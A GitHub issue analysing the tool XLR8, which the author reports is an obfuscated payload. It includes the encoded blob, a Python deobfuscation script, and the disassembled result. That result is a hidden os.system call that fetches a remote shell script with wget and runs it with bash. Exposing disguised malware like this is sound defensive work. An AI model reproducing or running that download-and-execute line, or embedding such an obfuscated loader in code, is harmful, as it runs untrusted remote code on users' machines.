Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Explanation why xlr8 don't work #75

Open
PillMagic opened this issue May 25, 2023 · 1 comment
Open

Explanation why xlr8 don't work #75

PillMagic opened this issue May 25, 2023 · 1 comment

Comments

@PillMagic
Copy link

The code of XLR8 is a python compiled instructions, that are base64 inverse decoded and compressed with zlib.
The finally dissambled code is

2          10 LOAD_NAME                0 (os)
             12 LOAD_METHOD              1 (system)
             14 LOAD_CONST               2 ('clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"')
             16 CALL_METHOD              1
        >>   18 POP_TOP
             20 POP_BLOCK
             22 LOAD_CONST               1 (None)
             24 RETURN_VALUE

You can check it by yourself with this script:

start =b'Eq4ihuw/fu+/v/Lyt++68//iozvpY8/9+/3z+Pu/fd+/O9/85z/fW/336//157Py7q4357/P7zfYK9NkubWZZwCGNvH8Tp0yj/2x2U6BDc1AmKAC/9L7tMwHg7Wgq6Pl1wCrYKErstAYaqMwHvlk45lZWKYCk5LBSwFpHAuH5h/jHC6wofiD5BuE6SMgPIVUJCWEEBLdb/NxQOAlpzV0/6V3qojvPJWyhOQO64AQOB/iRDf7OjQz66mXrYQ2GdedhLbPeZeTJIaLpJKbfk4FVoNeBoK55gOligfVkBb9x3Ee845abzoLhk1MMx+JH8YbxsmoFyzmpcS6pmtYv2OXzIuuVZce9Me/1Vpq6FMVB5TYuG0ctmWk5l88K50zfI5ZJt/oq9QhqJXtdqEPfPBzpFPItS0KPnPVlSpqBCISMUBF65IJI2KRNuMmN0CYw8a8njlfG3KCBsfkTIIB/AEoaA/jfrEypqCeZRewtCahv4yEhgrSwsXMHZjoOHOLMEwmNyO7GJJTgk/9ceIWJ23XiKlLb07d/k72ESDVsuho435VkTv7+icadN360CWE4XrPIt9jzpswnIgGK7inZ+ye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kkwCEyc9l3sS3vlQHoio6rWHxsUfu2qnIqW55GypP2D8pVTjKKjqZs062zLmhTP0CVZnuTXBZwzZTPMmjQhFDzNwoVJQDRWz2R3odLvcTJjVM1BMFopfzGj0WRUvin5HPZPlkuurhb1LwJv80JuqkLBCMyNJAic/MiDHTmJ8o1jRtf9goEXdO57MN1A0twc1fHA980vQT8AxAEQwXAsQLcgQH/RIAfAYRlCoSgAG0kRt2gLo+EH1QlLGCw4LCC4DHVoGg//852/fcx+/3nv/6/fS99/3X13/fPz/ri/ZxO5/vbvW+/Xb+/54/53flL613eXtYIzQUiE4EowV6UAl3UG9oafWvvDUi03TvobYrBAt7AGMoPBkHCHoW7/fnWqc9OcTmdxJe'


import dis, base64, zlib, marshal
from io import StringIO
import os

def be(go):
	b = base64.b64decode(go[::-1])
	z = zlib.decompress(b)
	m= marshal.loads(z)
	return m
    
def auto_be(a):
    output = StringIO()
    m = be(a)
    dis.dis(m, file = output)
    return output.getvalue()

def parse(g):
    k1 = g.find('0 (b\'')
    if k1 == -1:
        raise TypeError("END") 
    k1+=5
    k2 = g.find('\')', k1)
    if k2 == -1:
        raise TypeError("END")
    return g[k1:k2]


a = start
i = 0
while True:
    ab = auto_be(a)
    
    print(f'{i}:\n {ab}\n\n')
    a = parse(ab)
    i+=1

start I got from source code of xlr8

@PillMagic
Copy link
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant